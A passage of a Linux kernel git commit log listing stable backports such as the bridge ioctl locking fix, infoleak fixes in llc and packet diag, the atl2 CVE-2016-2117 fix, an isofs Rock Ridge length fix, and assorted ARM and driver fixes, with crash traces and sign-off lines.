Signed-off-by: Pranav Vashi commit 8835661e72cc16908f1980d477509fcdba5a7a72 Author: Nikolay Aleksandrov Date: Wed May 4 16:18:45 2016 +0200 net: bridge: fix old ioctl unlocked net device walk commit 31ca0458a61a502adb7ed192bf9716c6d05791a5 upstream. get_bridge_ifindices() is used from the old "deviceless" bridge ioctl calls which aren't called with rtnl held. The comment above says that it is called with rtnl but that is not really the case. Here's a sample output from a test ASSERT_RTNL() which I put in get_bridge_ifindices and executed "brctl show": [ 957.422726] RTNL: assertion failed at net/bridge//br_ioctl.c (30) [ 957.422925] CPU: 0 PID: 1862 Comm: brctl Tainted: G W O 4.6.0-rc4+ #157 [ 957.423009] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.1-20150318_183358- 04/01/2014 [ 957.423009] 0000000000000000 ffff880058adfdf0 ffffffff8138dec5 0000000000000400 [ 957.423009] ffffffff81ce8380 ffff880058adfe58 ffffffffa05ead32 0000000000000001 [ 957.423009] 00007ffec1a444b0 0000000000000400 ffff880053c19130 0000000000008940 [ 957.423009] Call Trace: [ 957.423009] [] dump_stack+0x85/0xc0 [ 957.423009] [] br_ioctl_deviceless_stub+0x212/0x2e0 [bridge] [ 957.423009] [] sock_ioctl+0x22b/0x290 [ 957.423009] [] do_vfs_ioctl+0x95/0x700 [ 957.423009] [] SyS_ioctl+0x79/0x90 [ 957.423009] [] entry_SYSCALL_64_fastpath+0x23/0xc1 Since it only reads bridge ifindices, we can use rcu to safely walk the net device list. Also remove the wrong rtnl comment above. Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a3744ecb54a7121c4f1792c1f1a337203a31d7a0 Author: Ian Campbell Date: Wed May 4 14:21:53 2016 +0100 VSOCK: do not disconnect socket when peer has shutdown SEND only commit dedc58e067d8c379a15a8a183c5db318201295bb upstream. The peer may be expecting a reply having sent a request and then done a shutdown(SHUT_WR), so tearing down the whole socket at this point seems wrong and breaks for me with a client which does a SHUT_WR. Looking at other socket family's stream_recvmsg callbacks doing a shutdown here does not seem to be the norm and removing it does not seem to have had any adverse effects that I can see. I'm using Stefan's RFC virtio transport patches, I'm unsure of the impact on the vmci transport. Signed-off-by: Ian Campbell Cc: "David S. Miller" Cc: Stefan Hajnoczi Cc: Claudio Imbrenda Cc: Andy King Cc: Dmitry Torokhov Cc: Jorgen Hansen Cc: Adit Ranadive Cc: netdev@vger.kernel.org Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b692c2f2a49b8704d0d4f7221739b85c0004b1b2 Author: Kangjie Lu Date: Tue May 3 16:35:05 2016 -0400 net: fix infoleak in llc commit b8670c09f37bdf2847cc44f36511a53afc6161fd upstream. The stack object “info†has a total size of 12 bytes. Its last byte is padding which is not initialized and leaked via “put_cmsgâ€Â. Signed-off-by: Kangjie Lu Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 409b04214128069d35ab4a5175f7d90c7322f760 Author: Ben Hutchings Date: Wed Apr 20 23:23:08 2016 +0100 atl2: Disable unimplemented scatter/gather feature commit f43bfaeddc79effbf3d0fcb53ca477cca66f3db8 upstream. atl2 includes NETIF_F_SG in hw_features even though it has no support for non-linear skbs. This bug was originally harmless since the driver does not claim to implement checksum offload and that used to be a requirement for SG. Now that SG and checksum offload are independent features, if you explicitly enable SG *and* use one of the rare protocols that can use SG without checkusm offload, this potentially leaks sensitive information (before you notice that it just isn't working). Therefore this obscure bug has been designated CVE-2016-2117. Reported-by: Justin Yackoski Signed-off-by: Ben Hutchings Fixes: ec5f06156423 ("net: Kill link between CSUM and SG features.") Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b5036709430551f8bd394144aa94dc47f5dbc13c Author: Mathias Krause Date: Sun Apr 10 12:52:28 2016 +0200 packet: fix heap info leak in PACKET_DIAG_MCLIST sock_diag interface commit 309cf37fe2a781279b7675d4bb7173198e532867 upstream. Because we miss to wipe the remainder of i->addr[] in packet_mc_add(), pdiag_put_mclist() leaks uninitialized heap bytes via the PACKET_DIAG_MCLIST netlink attribute. Fix this by explicitly memset(0)ing the remaining bytes in i->addr[]. Fixes: eea68e2f1a00 ("packet: Report socket mclist info via diag module") Signed-off-by: Mathias Krause Cc: Eric W. Biederman Cc: Pavel Emelyanov Acked-by: Pavel Emelyanov Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0845b510c00e187d431867555c5a19415edc834e Author: Chris Friesen Date: Fri Apr 8 15:21:30 2016 -0600 route: do not cache fib route info on local routes with oif commit d6d5e999e5df67f8ec20b6be45e2229455ee3699 upstream. For local routes that require a particular output interface we do not want to cache the result. Caching the result causes incorrect behaviour when there are multiple source addresses on the interface. The end result being that if the intended recipient is waiting on that interface for the packet he won't receive it because it will be delivered on the loopback interface and the IP_PKTINFO ipi_ifindex will be set to the loopback interface as well. This can be tested by running a program such as "dhcp_release" which attempts to inject a packet on a particular interface so that it is received by another program on the same board. The receiving process should see an IP_PKTINFO ipi_ifndex value of the source interface (e.g., eth1) instead of the loopback interface (e.g., lo). The packet will still appear on the loopback interface in tcpdump but the important aspect is that the CMSG info is correct. Sample dhcp_release command line: dhcp_release eth1 192.168.204.222 02:11:33:22:44:66 Signed-off-by: Allain Legacy Signed off-by: Chris Friesen Reviewed-by: Julian Anastasov Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ebe73cdebcbb2a3917cd528d1605cf1ad77cc744 Author: David S. Miller Date: Sun Apr 10 23:01:30 2016 -0400 decnet: Do not build routes to devices without decnet private data. commit a36a0d4008488fa545c74445d69eaf56377d5d4e upstream. In particular, make sure we check for decnet private presence for loopback devices. Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 414a30b79a54dc1698b41b6055701223b2629758 Author: Tony Lindgren Date: Thu May 28 07:22:08 2015 -0700 ARM: OMAP3: Fix booting with thumb2 kernel commit d8a50941c91a68da202aaa96a3dacd471ea9c693 upstream. We get a NULL pointer dereference on omap3 for thumb2 compiled kernels: Internal error: Oops: 80000005 [#1] SMP THUMB2 ... [] (_raw_spin_unlock_irqrestore) from [] (omap3_enter_idle_bm+0xc5/0x178) [] (omap3_enter_idle_bm) from [] (cpuidle_enter_state+0x77/0x27c) [] (cpuidle_enter_state) from [] (cpu_startup_entry+0x155/0x23c) [] (cpu_startup_entry) from [] (start_kernel+0x32f/0x338) [] (start_kernel) from [<8000807f>] (0x8000807f) The power management related assembly on omaps needs to interact with ARM mode bootrom code, so we need to keep most of the related assembly in ARM mode. Turns out this error is because of missing ENDPROC for assembly code as suggested by Stephen Boyd . Let's fix the problem by adding ENDPROC in two places to sleep34xx.S. Let's also remove the now duplicate custom code for mode switching. This has been unnecessary since commit 6ebbf2ce437b ("ARM: convert all "mov.* pc, reg" to "bx reg" for ARMv6+"). And let's also remove the comments about local variables, they are now just confusing after the ENDPROC. The reason why ENDPROC makes a difference is it sets .type and then the compiler knows what to do with the thumb bit as explained at: https://wiki.ubuntu.com/ARM/Thumb2PortingHowto Reported-by: Kevin Hilman Tested-by: Kevin Hilman Signed-off-by: Tony Lindgren Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b279defd482ab291e674e7877da9e1e873bb2d50 Author: Andi Kleen Date: Sat Feb 8 08:52:00 2014 +0100 asmlinkage, pnp: Make variables used from assembler code visible commit a99aa42d0253f033cbb85096d3f2bd82201321e6 upstream. Mark variables referenced from assembler files visible. This fixes compile problems with LTO. Cc: Jaroslav Kysela Signed-off-by: Andi Kleen Link: http://lkml.kernel.org/r/1391845930-28580-4-git-send-email-ak@linux.intel.com Signed-off-by: H. Peter Anvin Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8b97e06aeda6fa4a2d55389ba567c29736048e60 Author: Marek Szyprowski Date: Mon May 9 09:31:47 2016 -0700 Input: max8997-haptic - fix NULL pointer dereference commit 6ae645d5fa385f3787bf1723639cd907fe5865e7 upstream. NULL pointer derefence happens when booting with DTB because the platform data for haptic device is not set in supplied data from parent MFD device. The MFD device creates only platform data (from Device Tree) for itself, not for haptic child. Unable to handle kernel NULL pointer dereference at virtual address 0000009c pgd = c0004000 [0000009c] *pgd=00000000 Internal error: Oops: 5 [#1] PREEMPT SMP ARM (max8997_haptic_probe) from [] (platform_drv_probe+0x4c/0xb0) (platform_drv_probe) from [] (driver_probe_device+0x214/0x2c0) (driver_probe_device) from [] (__driver_attach+0xac/0xb0) (__driver_attach) from [] (bus_for_each_dev+0x68/0x9c) (bus_for_each_dev) from [] (bus_add_driver+0x1a0/0x218) (bus_add_driver) from [] (driver_register+0x78/0xf8) (driver_register) from [] (do_one_initcall+0x90/0x1d8) (do_one_initcall) from [] (kernel_init_freeable+0x15c/0x1fc) (kernel_init_freeable) from [] (kernel_init+0x8/0x114) (kernel_init) from [] (ret_from_fork+0x14/0x3c) Signed-off-by: Marek Szyprowski Cc: Fixes: 104594b01ce7 ("Input: add driver support for MAX8997-haptic") [k.kozlowski: Write commit message, add CC-stable] Signed-off-by: Krzysztof Kozlowski Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1472994fe3852ff6db8430f5b9ac8f4df645e3e2 Author: Al Viro Date: Thu May 5 16:25:35 2016 -0400 get_rock_ridge_filename(): handle malformed NM entries commit 99d825822eade8d827a1817357cbf3f889a552d6 upstream. Payloads of NM entries are not supposed to contain NUL. When we run into such, only the part prior to the first NUL goes into the concatenation (i.e. the directory entry name being encoded by a bunch of NM entries). We do stop when the amount collected so far + the claimed amount in the current NM entry exceed 254. So far, so good, but what we return as the total length is the sum of *claimed* sizes, not the actual amount collected. And that can grow pretty large - not unlimited, since you'd need to put CE entries in between to be able to get more than the maximum that could be contained in one isofs directory entry / continuation chunk and we are stop once we'd encountered 32 CEs, but you can get about 8Kb easily. And that's what will be passed to readdir callback as the name length. 8Kb __copy_to_user() from a buffer allocated by __get_free_page() Cc: stable@vger.kernel.org # 0.98pl6+ (yes, really) Signed-off-by: Al Viro Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0f10a603758df7b6f6b9bb83fb1cce8a4e38e162 Author: Herbert Xu Date: Wed May 4 17:52:56 2016 +0800 crypto: hash - Fix page length clamping in hash walk commit 13f4bb78cf6a312bbdec367ba3da044b09bf0e29 upstream. The crypto hash walk code is broken when supplied with an offset greater than or equal to PAGE_SIZE. This patch fixes it by adjusting walk->pg and walk->offset when this happens. Cc: Reported-by: Steffen Klassert Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 859a26d0cf1ed0adb52e1bef9b938da3abcfbf41 Author: Anton Blanchard Date: Fri Apr 15 12:06:13 2016 +1000 powerpc: scan_features() updates incorrect bits for REAL_LE commit 6997e57d693b07289694239e52a10d2f02c3a46f upstream. The REAL_LE feature entry in the ibm_pa_feature struct is missing an MMU feature value, meaning all the remaining elements initialise the wrong values. This means instead of checking for byte 5, bit 0, we check for byte 0, bit 0, and then we incorrectly set the CPU feature bit as well as MMU feature bit 1 and CPU user feature bits 0 and 2 (5). Checking byte 0 bit 0 (IBM numbering), means we're looking at the "Memory Management Unit (MMU)" feature - ie. does the CPU have an MMU. In practice that bit is set on all platforms which have the property. This means we set CPU_FTR_REAL_LE always. In practice that seems not to matter because all the modern cpus which have this property also implement REAL_LE, and we've never needed to disable it. We're also incorrectly setting MMU feature bit 1, which is: #define MMU_FTR_TYPE_8xx 0x00000002 Luckily the only place that looks for MMU_FTR_TYPE_8xx is in Book3E code, which can't run on the same cpus as scan_features(). So this also doesn't matter in practice. Finally in the CPU user feature mask, we're setting bits 0 and 2. Bit 2 is not currently used, and bit 0 is: #define PPC_FEATURE_PPC_LE 0x00000001 Which says the CPU supports the old style "PPC Little Endian" mode. Again this should be harmless in practice as no 64-bit CPUs implement that mode. Fix the code by adding the missing initialisation of the MMU feature. Also add a comment marking CPU user feature bit 2 (0x4) as reserved. It would be unsafe to start using it as old kernels incorrectly set it. Fixes: 44ae3ab3358e ("powerpc: Free up some CPU feature bits by moving out MMU-related features") Signed-off-by: Anton Blanchard [mpe: Flesh out changelog, add comment reserving 0x4] Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 988c5729aea80b488c436de2ec52ad428cefb0ce Author: Andrey Gelman Date: Tue Oct 6 15:43:43 2015 -0700 Input: ads7846 - correct the value got from SPI commit 879f2fea8a5a748bcbf98d2cdce9139c045505d3 upstream. According to the touch controller spec, SPI return a 16 bit value, only 12 bits are valid, they are bit[14-3]. The value of MISO and MOSI can be configured when SPI is in idle mode. Currently this touch driver assumes the SPI bus sets the MOSI and MISO in low level when SPI bus is in idle mode. So the bit[15] of the value got from SPI bus is always 0. But when SPI bus congfigures the MOSI and MISO in high level during the SPI idle mode, the bit[15] of the value get from SPI is always 1. If bit[15] is not masked, we may get the wrong value. Mask the invalid bit to make sure the correct value gets returned. Regardless of the SPI bus idle configuration. Signed-off-by: Andrey Gelman Signed-off-by: Haibo Chen Signed-off-by: Igor Grinberg Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 44646f9a60cf058e564f63c7bd018ec8000c0a75 Author: Jasem Mutlaq Date: Tue Apr 19 10:38:27 2016 +0300 USB: serial: cp210x: add Straizona Focusers device ids commit 613ac23a46e10d4d4339febdd534fafadd68e059 upstream. Adding VID:PID for Straizona Focusers to cp210x driver. Signed-off-by: Jasem Mutlaq Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7979d1ed6e65e8c4b58b2e0794e24adce8de5f72 Author: Mike Manning Date: Mon Apr 18 12:13:23 2016 +0000 USB: serial: cp210x: add ID for Link ECU commit 1d377f4d690637a0121eac8701f84a0aa1e69a69 upstream. The Link ECU is an aftermarket ECU computer for vehicles that provides full tuning abilities as well as datalogging and displaying capabilities via the USB to Serial adapter built into the device. Signed-off-by: Mike Manning Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bb33d492c6e31557ebd39a803c6ba99877a94027 Author: Prarit Bhargava Date: Wed May 4 13:48:56 2016 +0800 ACPICA: Dispatcher: Update thread ID for recursive method calls commit 93d68841a23a5779cef6fb9aa0ef32e7c5bd00da upstream. ACPICA commit 7a3bd2d962f221809f25ddb826c9e551b916eb25 Set the mutex owner thread ID. Original patch from: Prarit Bhargava Link: https://bugzilla.kernel.org/show_bug.cgi?id=115121 Link: https://github.com/acpica/acpica/commit/7a3bd2d9 Signed-off-by: Prarit Bhargava Tested-by: Andy Lutomirski # On a Dell XPS 13 9350 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Cc: All applicable Signed-off-by: Rafael J. Wysocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e65ad533445f651a2fb7cd480c9172cc2746f73e Author: Matt Fleming Date: Tue May 3 20:29:39 2016 +0100 MAINTAINERS: Remove asterisk from EFI directory names commit e8dfe6d8f6762d515fcd4f30577f7bfcf7659887 upstream. Mark reported that having asterisks on the end of directory names confuses get_maintainer.pl when it encounters subdirectories, and that my name does not appear when run on drivers/firmware/efi/libstub. Reported-by: Mark Rutland Signed-off-by: Matt Fleming Cc: Cc: Ard Biesheuvel Cc: Catalin Marinas Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-efi@vger.kernel.org Link: http://lkml.kernel.org/r/1462303781-8686-2-git-send-email-matt@codeblueprint.co.uk Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 29c5a83cadd84a7a1852b28a2fd7f4086d0201fa Author: Linus Lüssing Date: Fri Mar 11 14:04:49 2016 +0100 batman-adv: Fix broadcast/ogm queue limit on a removed interface commit c4fdb6cff2aa0ae740c5f19b6f745cbbe786d42f upstream. When removing a single interface while a broadcast or ogm packet is still pending then we will free the forward packet without releasing the queue slots again. This patch is supposed to fix this issue. Fixes: 6d5808d4ae1b ("batman-adv: Add missing hardif_free_ref in forw_packet_free") Signed-off-by: Linus Lüssing [sven@narfation.org: fix conflicts with current version] Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Antonio Quartulli Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 303f1f32bc83c424ecf9665b8313ba6544859c70 Author: Sascha Hauer Date: Wed Apr 20 13:34:31 2016 +0000 ARM: SoCFPGA: Fix secondary CPU startup in thumb2 kernel commit 5616f36713ea77f57ae908bf2fef641364403c9f upstream. The secondary CPU starts up in ARM mode. When the kernel is compiled in thumb2 mode we have to explicitly compile the secondary startup trampoline in ARM mode, otherwise the CPU will go to Nirvana. Signed-off-by: Sascha Hauer Reported-by: Steffen Trumtrar Suggested-by: Ard Biesheuvel Signed-off-by: Dinh Nguyen Signed-off-by: Kevin Hilman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 28967513ea3a762237eefee565f39db5e1f948f3 Author: Arnd Bergmann Date: Mon Mar 14 15:29:44 2016 +0100 lpfc: fix misleading indentation commit aeb6641f8ebdd61939f462a8255b316f9bfab707 upstream. gcc-6 complains about the indentation of the lpfc_destroy_vport_work_array() call in lpfc_online(), which clearly doesn't look right: drivers/scsi/lpfc/lpfc_init.c: In function 'lpfc_online': drivers/scsi/lpfc/lpfc_init.c:2880:3: warning: statement is indented as if it were guarded by... [-Wmisleading-indentation] lpfc_destroy_vport_work_array(phba, vports); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ drivers/scsi/lpfc/lpfc_init.c:2863:2: note: ...this 'if' clause, but it is not if (vports != NULL) ^~ Looking at the patch that introduced this code, it's clear that the behavior is correct and the indentation is wrong. This fixes the indentation and adds curly braces around the previous if() block for clarity, as that is most likely what caused the code to be misindented in the first place. Signed-off-by: Arnd Bergmann Fixes: 549e55cd2a1b ("[SCSI] lpfc 8.2.2 : Fix locking around HBA's port_list") Reviewed-by: Sebastian Herbszt Reviewed-by: Hannes Reinecke Reviewed-by: Ewan D. Milne Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 721d4024b2a2ad9ca55b4ea61de059d90a156862 Author: Linus Walleij Date: Wed Feb 24 09:39:11 2016 +0100 clk: versatile: sp810: support reentrance commit ec7957a6aa0aaf981fb8356dc47a2cdd01cde03c upstream. Despite care take to allocate clocks state containers the SP810 driver actually just supports creating one instance: all clocks registered for every instance will end up with the exact same name and __clk_init() will fail. Rename the timclken<0> .. timclken to sp810__ so every clock on every instance gets a unique name. This is necessary for the RealView PBA8 which has two SP810 blocks: the second block will not register its clocks unless every clock on every instance is unique and results in boot logs like this: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 0 at ../drivers/clk/versatile/clk-sp810.c:137 clk_sp810_of_setup+0x110/0x154() Modules linked in: CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.5.0-rc2-00030-g352718fc39f6-dirty #225 Hardware name: ARM RealView Machine (Device Tree Support) [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (dump_stack+0x84/0x9c) [] (dump_stack) from [] (warn_slowpath_common+0x74/0xb0) [] (warn_slowpath_common) from [] (warn_slowpath_null+0x1c/0x24) [] (warn_slowpath_null) from [] (clk_sp810_of_setup+0x110/0x154) [] (clk_sp810_of_setup) from [] (of_clk_init+0x12c/0x1c8) [] (of_clk_init) from [] (time_init+0x20/0x2c) [] (time_init) from [] (start_kernel+0x244/0x3c4) [] (start_kernel) from [<7000807c>] (0x7000807c) ---[ end trace cb88537fdc8fa200 ]--- Cc: Michael Turquette Cc: Pawel Moll Fixes: 6e973d2c4385 "clk: vexpress: Add separate SP810 driver" Signed-off-by: Linus Walleij Signed-off-by: Stephen Boyd Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 14aff9e5e80f0b7e4771fc9ae541c3553673b8be Author: Dan Streetman Date: Thu Jan 14 13:42:32 2016 -0500 nbd: ratelimit error msgs after socket close commit da6ccaaa79caca4f38b540b651238f87215217a2 upstream. Make the "Attempted send on closed socket" error messages generated in nbd_request_handler() ratelimited. When the nbd socket is shutdown, the nbd_request_handler() function emits an error message for every request remaining in its queue. If the queue is large, this will spam a large amount of messages to the log. There's no need for a separate error message for each request, so this patch ratelimits it. In the specific case this was found, the system was virtual and the error messages were logged to the serial port, which overwhelmed it. Fixes: 4d48a542b427 ("nbd: fix I/O hang on disconnected nbds") Signed-off-by: Dan Streetman Signed-off-by: Markus Pargmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c60097a45842ab7798622b675316a926ccc067bc Author: Marco Angaroni Date: Sat Mar 5 12:10:02 2016 +0100 ipvs: correct initial offset of Call-ID header search in SIP persistence engine commit 7617a24f83b5d67f4dab1844956be1cebc44aec8 upstream. The IPVS SIP persistence engine is not able to parse the SIP header "Call-ID" when such header is inserted in the first positions of the SIP message. When IPVS is configured with "--pe sip" option, like for example: ipvsadm -A -u 1.2.3.4:5060 -s rr --pe sip -p 120 -o some particular messages (see below for details) do not create entries in the connection template table, which can be listed with: ipvsadm -Lcn --persistent-conn Problematic SIP messages are SIP responses having "Call-ID" header positioned just after message first line: SIP/2.0 200 OK [Call-ID header here] [rest of the headers] When "Call-ID" header is positioned down (after a few other headers) it is correctly recognized. This is due to the data offset used in get_callid function call inside ip_vs_pe_sip.c file: since dptr already points to the start of the SIP message, the value of dataoff should be initially 0. Otherwise the header is searched starting from some bytes after the first character of the SIP message. Fixes: 758ff0338722 ("IPVS: sip persistence engine") Signed-off-by: Marco Angaroni Acked-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 811f6f33ea9b17bb1c385b0d675e1016ec9b5215 Author: Paolo Bonzini Date: Thu Mar 31 09:38:51 2016 +0200 compiler-gcc: disable -ftracer for __noclone functions commit 95272c29378ee7dc15f43fa2758cb28a5913a06d upstream. -ftracer can duplicate asm blocks causing compilation to fail in noclone functions. For example, KVM declares a global variable in an asm like asm("2: ... \n .pushsection data \n .global vmx_return \n vmx_return: .long 2b"); and -ftracer causes a double declaration. Cc: Andrew Morton Cc: Michal Marek Cc: stable@vger.kernel.org Cc: kvm@vger.kernel.org Reported-by: Linda Walsh Signed-off-by: Paolo Bonzini Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fb59e40472bc63d35fe0de7ace1cfbdef10e5c17 Author: Pali Rohár Date: Fri Feb 19 10:35:39 2016 -0800 ARM: OMAP3: Add cpuidle parameters table for omap3430 commit 98f42221501353067251fbf11e732707dbb68ce3 upstream. Based on CPU type choose generic omap3 or omap3430 specific cpuidle parameters. Parameters for omap3430 were measured on Nokia N900 device and added by commit 5a1b1d3a9efa ("OMAP3: RX-51: Pass cpu idle parameters") which were later removed by commit 231900afba52 ("ARM: OMAP3: cpuidle - remove rx51 cpuidle parameters table") due to huge code complexity. This patch brings cpuidle parameters for omap3430 devices again, but uses simple condition based on CPU type. Fixes: 231900afba52 ("ARM: OMAP3: cpuidle - remove rx51 cpuidle parameters table") Signed-off-by: Pali Rohár Acked-by: Daniel Lezcano Signed-off-by: Tony Lindgren Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 78529f7c3d072d3ece5346cf11a9ab1f20851663 Author: Borislav Petkov Date: Mon Mar 7 16:44:44 2016 -0300 perf stat: Document --detailed option commit f594bae08183fb6b57db55387794ece3e1edf6f6 upstream. I'm surprised this remained undocumented since at least 2011. And it is actually a very useful switch, as Steve and I came to realize recently. Add the text from 2cba3ffb9a9d ("perf stat: Add -d -d and -d -d -d options to show more CPU events") which added the incrementing aspect to -d. Tested-by: Arnaldo Carvalho de Melo Signed-off-by: Borislav Petkov Signed-off-by: Arnaldo Carvalho de Melo Cc: Alexander Shishkin Cc: David Ahern Cc: Davidlohr Bueso Cc: Jiri Olsa Cc: Mel Gorman Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Fixes: 2cba3ffb9a9d ("perf stat: Add -d -d and -d -d -d options to show more CPU events") Link: http://lkml.kernel.org/r/1457347294-32546-1-git-send-email-bp@alien8.de Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 440e6e5d0d883280be7f5bc656e934ce9ae2ca05 Author: Vitaly Kuznetsov Date: Fri Feb 27 11:25:51 2015 -0800 Drivers: hv: vmbus: prevent cpu offlining on newer hypervisors commit e513229b4c386e6c9f66298c13fde92f73e6e1ac upstream. When an SMP Hyper-V guest is running on top of 2012R2 Server and secondary cpus are sent offline (with echo 0 > /sys/devices/system/cpu/cpu$cpu/online) the system freeze is observed. This happens due to the fact that on newer hypervisors (Win8, WS2012R2, ...) vmbus channel handlers are distributed across all cpus (see init_vp_index() function in drivers/hv/channel_mgmt.c) and on cpu offlining nobody reassigns them to CPU0. Prevent cpu offlining when vmbus is loaded until the issue is fixed host-side. This patch also disables hibernation but it is OK as it is also broken (MCE error is hit on resume). Suspend still works. Tested with WS2008R2 and WS2012R2. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan [ 3chas3@gmail.com: rebase to 3.14-stable ] Signed-off-by: Chas Williams <3chas3@gmail.com> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 737bb3faeac7c26deb03cbd28b23e830644f3782 Author: Michael Hennerich Date: Mon Feb 22 10:20:24 2016 +0100 drivers/misc/ad525x_dpot: AD5274 fix RDAC read back errors commit f3df53e4d70b5736368a8fe8aa1bb70c1cb1f577 upstream. Fix RDAC read back errors caused by a typo. Value must shift by 2. Fixes: a4bd394956f2 ("drivers/misc/ad525x_dpot.c: new features") Signed-off-by: Michael Hennerich Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 51086bb402aa9b590690ffb3fb904bcf0d9e7040 Author: Geert Uytterhoeven Date: Tue Mar 1 09:50:01 2016 +0100 rtc: vr41xx: Wire up alarm_irq_enable commit a25f4a95ec3cded34c1250364eba704c5e4fdac4 upstream. drivers/rtc/rtc-vr41xx.c:229: warning: ‘vr41xx_rtc_alarm_irq_enable’ defined but not used Apparently the conversion to alarm_irq_enable forgot to wire up the callback. Fixes: 16380c153a69c378 ("RTC: Convert rtc drivers to use the alarm_irq_enable method") Signed-off-by: Geert Uytterhoeven Signed-off-by: Alexandre Belloni Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f65c10898381c6d5bc9bb2ab0d0af1f966281eff Author: Ben Hutchings Date: Mon Dec 14 14:29:23 2015 +0000 misc/bmp085: Enable building as a module commit 50e6315dba721cbc24ccd6d7b299f1782f210a98 upstream. Commit 985087dbcb02 'misc: add support for bmp18x chips to the bmp085 driver' changed the BMP085 config symbol to a boolean. I see no reason why the shared code cannot be built as a module, so change it back to tristate. Fixes: 985087dbcb02 ("misc: add support for bmp18x chips to the bmp085 driver") Cc: Eric Andersson Signed-off-by: Ben Hutchings Acked-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 22a15b5e920ebeed5f6186beb0746fafb5a4d71a Author: Sushaanth Srirangapathi Date: Mon Feb 29 18:42:19 2016 +0530 fbdev: da8xx-fb: fix videomodes of lcd panels commit 713fced8d10fa1c759c8fb6bf9aaa681bae68cad upstream. Commit 028cd86b794f4a ("video: da8xx-fb: fix the polarities of the hsync/vsync pulse") fixes polarities of HSYNC/VSYNC pulse but forgot to update known_lcd_panels[] which had sync values according to old logic. This breaks LCD at least on DA850 EVM. This patch fixes this issue and I have tested this for panel "Sharp_LK043T1DG01" using DA850 EVM board. Fixes: 028cd86b794f4a ("video: da8xx-fb: fix the polarities of the hsync/vsync pulse") Signed-off-by: Sushaanth Srirangapathi Signed-off-by: Tomi Valkeinen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8f6cac310a882467b9cf2f8d58fa8c78826a8380 Author: Arnd Bergmann Date: Tue Mar 15 14:53:29 2016 -0700 paride: make 'verbose' parameter an 'int' again commit dec63a4dec2d6d01346fd5d96062e67c0636852b upstream. gcc-6.0 found an ancient bug in the paride driver, which had a "module_param(verbose, bool, 0);" since before 2.6.12, but actually uses it to accept '0', '1' or '2' as arguments: drivers/block/paride/pd.c: In function 'pd_init_dev_parms': drivers/block/paride/pd.c:298:29: warning: comparison of constant '1' with boolean expression is always false [-Wbool-compare] #define DBMSG(msg) ((verbose>1)?(msg):NULL) In 2012, Rusty did a cleanup patch that also changed the type of the variable to 'bool', which introduced what is now a gcc warning. This changes the type back to 'int' and adapts the module_param() line instead, so it should work as documented in case anyone ever cares about running the ancient driver with debugging. Fixes: 90ab5ee94171 ("module_param: make bool parameters really bool (drivers & misc)") Signed-off-by: Arnd Bergmann Rusty Russell Cc: Tim Waugh Cc: Sudip Mukherjee Cc: Jens Axboe Cc: Greg Kroah-Hartman Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1a7fa17af39e561d95a92b9b6d0a87ce1919a295 Author: Ignat Korchagin 